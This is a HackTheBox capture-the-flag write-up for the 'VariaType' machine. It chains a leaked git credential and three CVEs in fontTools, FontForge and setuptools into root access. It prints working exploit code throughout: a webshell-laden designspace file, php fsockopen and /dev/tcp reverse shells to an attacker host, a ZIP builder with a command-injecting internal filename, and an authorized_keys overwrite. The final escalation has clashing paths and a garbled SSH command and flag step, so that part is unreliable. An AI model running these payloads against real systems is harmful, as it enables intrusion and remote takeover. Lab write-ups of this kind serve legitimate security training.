[ writeup · case #008 ]
VariaType
A variable-font generator feeds a .designspace file to Python fontTools, which is vulnerable to CVE-2025-66034 (arbitrary file write + XML injection); a PHP webshell injected through a CDATA section is written into the web root for RCE and a foothold.
enumeration
scan
❯ rustscan --range 1-65535 -a variatype.htb -- -A
.----. .-. .-. .----..---. .----. .---. .--. .-. .-.
| {} }| { } |{ {__ {_ _}{ {__ / ___} / {} \ | `| |
| .-. \| {_} |.-._} } | | .-._} }\ }/ /\ \| |\ |
`-' `-'`-----'`----' `-' `----' `---' `-' `-'`-' `-'
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack ttl 63 OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
| 256 [REDACTED:IP][REDACTED:IP]:1e (ECDSA)
| ecdsa-sha2-nistp256 [REDACTED:KEY]
| 256 [REDACTED:IP][REDACTED:IP]:22 (ED25519)
|_ssh-ed25519 [REDACTED:KEY]
80/tcp open http syn-ack ttl 63 nginx 1.22.1
|_http-title: VariaType Labs \xE2\x80\x94 Variable Font Generator
|_http-server-header: nginx/1.22.1
| http-methods:
|_ Supported Methods: OPTIONS GET HEAD
**http (port 80) **
Virtual Host Enumeration
The main domain variatype.htb hosts a professional font design landing page. Fuzzing for subdomains reveals a second virtual host:
ffuf -u http://variatype.htb -H "Host: FUZZ.variatype.htb" \
-w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -fc 302This discovers portal.variatype.htb — a login page branded with the version string VT-VALID-2.1.4, indicating a font validation dashboard. Add both to /etc/hosts:
[REDACTED:IP] variatype.htb portal.variatype.htbExposed .git Repository
Directory fuzzing on the portal subdomain reveals an accessible .git directory:
301 http://portal.variatype.htb/.git → /.git/
200 http://portal.variatype.htb/.git/HEAD
200 http://portal.variatype.htb/.git/COMMIT_EDITMSGUsing git-dumper to clone the repository locally:
git-dumper http://portal.variatype.htb/.git ./git_dumpExtracting Credentials from Git History
The working tree only contains a cleaned auth.php with an empty $USERS array. However, inspecting the full commit history reveals a credential that was added and never properly removed:
cd git_dump
git log -p auth.phpcommit [REDACTED:HASH]
Author: Dev Team <[REDACTED:EMAIL]>
fix: add gitbot user for automated validation pipeline
+$USERS = [
+ 'gitbot' => '[REDACTED:CRED]'
+];Credentials: gitbot : [REDACTED:CRED]
Portal Enumeration
Logging into http://portal.variatype.htb with the recovered credentials grants access to a Validation Dashboard — described as showing recent font builds from the main variable font generator pipeline.
Further directory fuzzing on the portal reveals several PHP endpoints:
200 /auth.php
302 /dashboard.php → /
302 /download.php → /
302 /view.php → /
403 /files/Probing download.php with the session cookie reveals it expects a parameter. Fuzzing the parameter name:
curl -s -b "PHPSESSID=<session>" http://portal.variatype.htb/download.php | wc -c
# Returns 24 bytes
ffuf -u "http://portal.variatype.htb/download.php?FUZZ=test" \
-b "PHPSESSID=<session>" \
-w /usr/share/seclists/Discovery/Web-Content/burp-parameter-names.txt \
-fs 24The parameter f returns a different response size — it accepts a filename and serves files from the files/ directory.
Initial Foothold — CVE-2025-66034
Understanding the Vulnerability
The main variatype.htb domain exposes a variable font generator at /tools/variable-font-generator. It accepts a .designspace XML file and one or more master .ttf font files, processing them through Python's fontTools.varLib module.
CVE-2025-66034 is an arbitrary file write + XML injection vulnerability in fontTools. The vulnerable code in fontTools/varLib/__init__.py uses the filename attribute from the <variable-font> element without sanitization:
filename = vf.filename # Unsanitised filename
output_path = os.path.join(output_dir, filename) # Path traversal
vf.save(output_path) # Arbitrary file writeAdditionally, content from <labelname> elements with CDATA sections is injected directly into the output file — enabling PHP code injection when the output path targets a web-accessible directory.
reference you can find the Vulnerability details here.
Generating Valid Source Fonts
The exploit requires two valid TTF masters. Generate them with fontTools:
# setup.py
from fontTools.fontBuilder import FontBuilder
from fontTools.pens.ttGlyphPen import TTGlyphPen
def create_source_font(filename, weight=400):
fb = FontBuilder(unitsPerEm=1000, isTTF=True)
fb.setupGlyphOrder([".notdef"])
fb.setupCharacterMap({})
pen = TTGlyphPen(None)
pen.moveTo((0, 0)); pen.lineTo((500, 0))
pen.lineTo((500, 500)); pen.lineTo((0, 500))
pen.closePath()
fb.setupGlyf({".notdef": pen.glyph()})
fb.setupHorizontalMetrics({".notdef": (500, 0)})
fb.setupHorizontalHeader(ascent=800, descent=-200)
fb.setupOS2(usWeightClass=weight)
fb.setupPost()
fb.setupNameTable({"familyName": "Test", "styleName": f"Weight{weight}"})
fb.save(filename)
create_source_font("source-light.ttf", weight=100)
create_source_font("source-regular.ttf", weight=400)python3 setup.pyCrafting the Malicious Designspace
The PHP webshell is injected via a CDATA section in the <labelname> element. The output path uses an absolute path to write directly into the portal's public files/ directory:
<?xml version='1.0' encoding='UTF-8'?>
<designspace format="5.0">
<axes>
<axis tag="wght" name="Weight" minimum="100" maximum="900" default="400">
<labelname xml:lang="en"><![CDATA[<?php system($_GET["cmd"]);?>]]]]><![CDATA[>]]></labelname>
</axis>
</axes>
<sources>
<source filename="source-light.ttf" name="Light">
<location><dimension name="Weight" xvalue="100"/></location>
</source>
<source filename="source-regular.ttf" name="Regular">
<location><dimension name="Weight" xvalue="400"/></location>
</source>
</sources>
<variable-fonts>
<variable-font name="MyFont"
filename="/var/www/portal.variatype.htb/public/files/shell.php">
<axis-subsets>
<axis-subset name="Weight"/>
</axis-subsets>
</variable-font>
</variable-fonts>
</designspace>Uploading the Exploit
Intercepting a normal upload with Burp reveals the endpoint and field names:
POST /tools/variable-font-generator/process
Fields: designspace, mastersSubmit the exploit:
curl -s -X POST http://variatype.htb/tools/variable-font-generator/process \
-F "designspace=@malicious.designspace" \
-F "masters=@source-light.ttf" \
-F "masters=@source-regular.ttf"The server responds with a success page and a download link, confirming fontTools processed the file and wrote shell.php to the target directory.
Verifying RCE
curl -s --output - "http://portal.variatype.htb/files/shell.php?cmd=id"The PHP output is embedded within the font binary data:
...TestWeight400uid=33(www-data) gid=33(www-data) groups=33(www-data)...RCE confirmed as www-data.
Reverse Shell
With outbound HTTP filtered, use PHP's fsockopen to establish the reverse shell directly through the webshell:
# Terminal 1 — listener
nc -lvnp 4444
# Terminal 2 — trigger
curl -s --output - "http://portal.variatype.htb/files/shell.php" \
--data-urlencode 'cmd=php -r '"'"'$sock=fsockopen("[REDACTED:IP]",4444);exec("/bin/sh -i <&3 >&3 2>&3");'"'"'' \
-GA shell connects back as www-data.
Stabilizing the Shell
python3 -c 'import pty;pty.spawn("/bin/bash")'
export TERM=xtermAttack Chain Summary
variatype.htb
└── Exposed /.git on portal subdomain
└── git log reveals hardcoded creds: gitbot:[REDACTED:CRED]
└── Login to portal.variatype.htb
└── Font generator at /tools/variable-font-generator/process
└── CVE-2025-66034 (fontTools arbitrary file write + XML injection)
└── PHP webshell written to /files/shell.php
└── RCE as www-datauser flag
Privilege Escalation — www-data → steve
Discovering the Backup Script
Standard post-exploitation enumeration of /opt reveals a backup of an automated font processing pipeline:
find /opt -type f 2>/dev/null/opt/variatype/app.py
/opt/variatype/script.py
/opt/font-tools/install_validator.py
/opt/process_client_submissions.bakReading the backup script reveals its logic:
cat /opt/process_client_submissions.bakThe script runs as steve, monitors /var/www/portal.variatype.htb/public/files/ for uploaded font files, and passes them to FontForge for validation:
fontforge -lang=py -c "
import fontforge
font = fontforge.open('$file')
...
"It accepts the following extensions including compressed archives:
EXTENSIONS=("*.ttf" "*.otf" "*.woff" "*.woff2" "*.zip" "*.tar" "*.tar.gz" "*.sfd")A strict filename regex blocks obvious injection attempts:
SAFE_NAME_REGEX='^[a-zA-Z0-9._-]+$'Understanding CVE-2024-25082
FontForge version 20230101 is confirmed on the target:
/usr/local/src/fontforge/build/bin/fontforge --version
# Version: 20230101CVE-2024-25082 is a command injection vulnerability in FontForge's archive handling. When FontForge opens a ZIP or TAR archive, it extracts the internal files and passes their internal filenames to shell commands without sanitization. The external ZIP filename passes the regex cleanly — it's the filename inside the archive that triggers execution.
The attack chain:
exploit.zip (clean name, passes regex)
└── $(echo BASE64|base64 -d|bash).ttf ← internal filename
└── FontForge extracts and passes to shell
└── Shell executes subshell as steveCrafting the Malicious ZIP
On the attack machine, encode the reverse shell payload and embed it as the internal filename:
# exploit.py
import zipfile, base64
payload = "bash -i >& /dev/tcp/[REDACTED:IP]/5555 0>&1"
b64 = base64.b64encode(payload.encode()).decode()
internal_name = f"$(echo {b64}|base64 -d|bash).ttf"
with zipfile.ZipFile("exploit.zip", "w") as z:
z.writestr(internal_name, "dummy")
print(f"Created exploit.zip")
print(f"Internal filename: {internal_name}")python3 exploit.pyThe external filename exploit.zip passes ^[a-zA-Z0-9._-]+$ perfectly. The malicious content is entirely hidden inside the archive.
Delivering the Payload
Start a listener and HTTP server on the attack machine:
# Terminal 1 — listener
nc -lvnp 5555
# Terminal 2 — host the zip
python3 -m http.server 8080From the www-data shell, drop the ZIP into the monitored upload directory:
curl http://[REDACTED:IP]:8080/exploit.zip \
-o /var/www/portal.variatype.htb/public/files/exploit.zipCatching the Shell
Within 1-2 minutes, steve's cronjob fires. It finds exploit.zip, passes it to FontForge, which extracts the archive and processes the internal filename. The shell subshell $(echo ...|base64 -d|bash) executes the reverse shell as steve:
connect to [[REDACTED:IP]] from (UNKNOWN) [[REDACTED:IP]] 42598
steve@variatype:/tmp/ffarchive-4924-1$root flag
Privilege Escalation — steve → root
Analyzing the Sudo Privilege
sudo -l reveals steve can run one command as root without a password:
(root) NOPASSWD: /usr/bin/python3 /opt/font-tools/install_validator.py *Reading install_validator.py shows it uses setuptools.PackageIndex().download(url, dest) to fetch a remote file and save it to /opt/font-tools/validators/. Since it runs as root, whatever file it writes lands with root privileges.
CVE-2025-47273 — setuptools Path Traversal
In versions of setuptools prior to 78.1.1, the PackageIndex download function constructs the local save path from the URL without properly sanitizing URL-encoded characters. When the URL contains %2F (encoded forward slash), the library decodes them after path sanitization has occurred. This causes os.path.join() to interpret the decoded string as an absolute path, discarding the intended destination directory entirely.
Since the script runs as root, this is an arbitrary file write as root.
Attack plan:
http://[REDACTED:IP]:8888/%2Froot%2F.ssh%2Fauthorized_keys
↑ decoded to → /home/light/authorized_keysThe URL looks valid to the script's checks, but setuptools writes the downloaded content directly to /home/light/authorized_keys.
Generating the SSH Keypair
On the attack machine:
ssh-keygen -t ed25519 -f /tmp/rootkey -N ""
cp /tmp/rootkey.pub /tmp/authorized_keysCustom HTTP Server
A standard HTTP server won't work here because the client requests a path containing the encoded traversal sequence. A custom server that always serves the key file regardless of path is needed:
# server.py
import http.server
class Handler(http.server.BaseHTTPRequestHandler):
def do_GET(self):
with open("/tmp/authorized_keys", "rb") as f:
data = f.read()
self.send_response(200)
self.send_header("Content-Type", "application/octet-stream")
self.send_header("Content-Length", len(data))
self.end_headers()
self.wfile.write(data)
def log_message(self, format, *args):
print(format % args)
http.server.HTTPServer(("0.0.0.0", 8888), Handler).serve_forever()python3 server.pyTriggering the Exploit
From steve's shell:
sudo /usr/bin/python3 /opt/font-tools/install_validator.py \
"http://[REDACTED:IP]:8888/%2Froot%2F.ssh%2Fauthorized_keys"The output confirms success:
[INFO] Attempting to install plugin from: http://[REDACTED:IP]:8888/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Downloading http://[REDACTED:IP]:8888/%2Froot%2F.ssh%2Fauthorized_keys
[INFO] Plugin installed at: /home/light/authorized_keys
[+] Plugin installed successfully.Root Access
ssh -i /tmp/rootkey [REDACTED:EMAIL]root@variatype:~#Root Flag
cat /home/lightKey Takeaways
- Never expose
.gitin production — version history persists even after credentials are removed from source files. - CVE-2025-66034 demonstrates how processing user-supplied XML without sanitizing output paths leads to arbitrary file write and RCE.
- Outbound egress filtering blocked HTTP-based payload delivery but PHP's
fsockopenbypassed this by tunneling the shell over the already-open web port. - The
--data-urlencodeflag in curl is essential for passing shell metacharacters (>,&,|) without URL encoding issues. - CVE-2024-25082 — filename regex validation is only as strong as what it validates. Validating the outer archive name while ignoring internal archive contents is a false sense of security.
- Backup files in
/optare a goldmine during post-exploitation — always enumerate withfind /opt -type f 2>/dev/null. - CVE-2025-47273 —
sudopermissions scoped to a specific script are not safe if that script uses a vulnerable library. The entire dependency chain must be audited. - A custom HTTP server is sometimes necessary when exploiting path traversal via URL encoding — standard servers reject or normalize malformed paths before the vulnerable code even sees them.
Machine: VariaType | Platform: HackTheBox